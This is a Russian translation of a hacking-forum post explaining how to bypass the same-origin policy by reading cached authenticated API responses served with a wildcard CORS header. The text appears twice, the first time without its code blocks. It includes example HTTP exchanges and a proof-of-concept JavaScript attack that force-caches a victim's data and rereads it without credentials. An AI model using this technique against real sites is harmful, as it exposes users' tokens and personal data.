Сегодня я опишу технику обхода SOP, используя кеш во время JSON хакинга. Это не всегда возможно, нужно определенные условия, но если условия правильные, вы можете получить неожиданно хороший результат.
TL; DR
Кэшированные результаты из состояний с аутентификацией импортируются как запросы без аутентификации.
Однако это условие обязательно.
и кэш должен быть доступен для уязвимого API.
SOP и CORS
SOP (политика одного источника) - это критически важный механизм безопасности, который ограничивает взаимодействие документа или сценария, загруженного из одного источника, с ресурсом из другого источника. Это помогает изолировать потенциально вредоносные документы, уменьшая возможные направления атак.
developer.mozilla.org
Распределение ресурсов между источниками ( CORS ) - это механизм, который использует дополнительные заголовки HTTP, чтобы сообщить браузерам, чтобы веб-приложение, работающее с одним источником, получало доступ к выбранным ресурсам из другого источника. Веб-приложение выполняет HTTP-запрос перекрестного источника, когда оно запрашивает ресурс, который имеет другой источник (домен, протокол или порт) от своего собственного.
https://developer.mozilla.org/en-US/docs/Web/HTTP/CORSи когда Origin является подстановочным знаком, ресурсы могут быть прочитаны, только если нет аутентификации.
При условии:
ресурсы могут быть прочитаны, если нет аутентификации.
Cache-Control
HTTP-заголовок Cache-Control содержит инструкции для кэширования как запросов, так и ответов. Данная директива в запросе не означает, что такая же директива должна быть в ответе.
developer.mozilla.org
Обход SOP при помощи CC (Cache-Control)
Процесс чтения кэшированных данных предоставляет пользователю прямое чтение данных в браузере, не запрашивая их с удаленного сервера. Это позволяет хакеру обходить SOP в форме принудительного кэширования на страницах с конфиденциальной информацией или считывать уже кэшированные результаты. Потому что запросы, которые не включают аутентификацию, когда политика источника является групповым символом, могут прочитать ответ.
с аутентификацией
без аутентификации
Чтение кешированного ответа
1) кэширование чувствительных данных
2) чтение кэшированных данных
Код атаки
Атака очень простая
1) кеширование
2) читаем данные из кеша
Подсказка: не сработает, но в случае, если это публичный кеш, мы добавляем произвольные параметры.
Принудительное кэширование в Request.cache может использоваться для создания принудительно кэшируемых запросов. Иногда удобно использовать тег img, когда он кэшируется по умолчанию.
developer.mozilla.org
Вывод
Это не тот способ, который можно все время использовать, ведь есть некоторые ограничения при использовании. Но это хорошая техника, если условия правильные.
оригинальная заметка
автор @hahwul
Перевод: tabac, специально для https://xss.pro
TL; DR
Кэшированные результаты из состояний с аутентификацией импортируются как запросы без аутентификации.
Однако это условие обязательно.
Код:
Access-Control-Allow-Origin: *
SOP и CORS
SOP (политика одного источника) - это критически важный механизм безопасности, который ограничивает взаимодействие документа или сценария, загруженного из одного источника, с ресурсом из другого источника. Это помогает изолировать потенциально вредоносные документы, уменьшая возможные направления атак.
Same-origin policy - Security on the web | MDN
The same-origin policy is a critical security mechanism that restricts how a document or script loaded by one origin can interact with a resource from another origin.
Распределение ресурсов между источниками ( CORS ) - это механизм, который использует дополнительные заголовки HTTP, чтобы сообщить браузерам, чтобы веб-приложение, работающее с одним источником, получало доступ к выбранным ресурсам из другого источника. Веб-приложение выполняет HTTP-запрос перекрестного источника, когда оно запрашивает ресурс, который имеет другой источник (домен, протокол или порт) от своего собственного.
https://developer.mozilla.org/en-US/docs/Web/HTTP/CORSи когда Origin является подстановочным знаком, ресурсы могут быть прочитаны, только если нет аутентификации.
При условии:
Код:
Access-Control-Allow-Origin: *
Cache-Control
HTTP-заголовок Cache-Control содержит инструкции для кэширования как запросов, так и ответов. Данная директива в запросе не означает, что такая же директива должна быть в ответе.
Cache-Control header - HTTP | MDN
The HTTP Cache-Control header holds directives (instructions) in both requests and responses that control caching in browsers and shared caches (e.g., Proxies, CDNs).
Обход SOP при помощи CC (Cache-Control)
Процесс чтения кэшированных данных предоставляет пользователю прямое чтение данных в браузере, не запрашивая их с удаленного сервера. Это позволяет хакеру обходить SOP в форме принудительного кэширования на страницах с конфиденциальной информацией или считывать уже кэшированные результаты. Потому что запросы, которые не включают аутентификацию, когда политика источника является групповым символом, могут прочитать ответ.
с аутентификацией
Код:
Access-Control-Allow-Origin: *
{"username":"hahwul","token":"ABCDEFG123456"}
Код:
Access-Control-Allow-Origin: *
{}
Чтение кешированного ответа
1) кэширование чувствительных данных
Код:
< req >
GET /yourapi HTTP/1.1
Host: blahblah~~
Cache-Control: private, max-age=3600
Cookie: auth=9839hg1209f1h0f9h
< res >
HTTP/1.1 200 OK
Server: nginx
Cache-Control: private, max-age=3600
Access-Control-Allow-Origin: *
{"username":"hahwul","token":"ABCDEFG123456"}
2) чтение кэшированных данных
Код:
< req >
GET /yourapi HTTP/1.1
Host: blahblah~~
Origin: *
< res >
HTTP/1.1 200 OK
Server: nginx
Cache-Control: private, max-age=3600
Access-Control-Allow-Origin: *
{"username":"hahwul","token":"ABCDEFG123456"}
Код атаки
Атака очень простая
1) кеширование
2) читаем данные из кеша
Код:
<!-- Step1, Caching with Auth -->
<script>
var url = "https://vulnpage?cachepoint";
fetch(url, {
method: 'GET',
cache: 'force-cache'
});
</script>
<!-- Sometimes, it is convenient to use the img tag when it is cached by default. -->
<!-- <img src="https://vulnpage?cachepoint"> -->
<!-- Step2, Get Userdata without Auth(Using cache)-->
<script>
//delay for cached
setTimeout(function (){
// get information without auth
$.ajax({
url: "/vulnpage?cachepoint",
type: "get",
xhrFields: {
withCredentials: false
},
headers: {
"Accept":"application/json",
"Accept-Language":"ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3",
},
success: function (data) {
console.info(data);
}
});
}, 2000);
</script>
Принудительное кэширование в Request.cache может использоваться для создания принудительно кэшируемых запросов. Иногда удобно использовать тег img, когда он кэшируется по умолчанию.
Request: cache property - Web APIs | MDN
The cache read-only property of the Request interface contains the cache mode of the request. It controls how the request will interact with the browser's HTTP cache.
Код:
// e.g
if (res.status === 200) {
controller.abort()
controller = new AbortController();
return fetch("some.json", {cache: "force-cache", mode: "same-origin", signal: controller.signal})
}
Вывод
Это не тот способ, который можно все время использовать, ведь есть некоторые ограничения при использовании. Но это хорошая техника, если условия правильные.
оригинальная заметка
автор @hahwul
Перевод: tabac, специально для https://xss.pro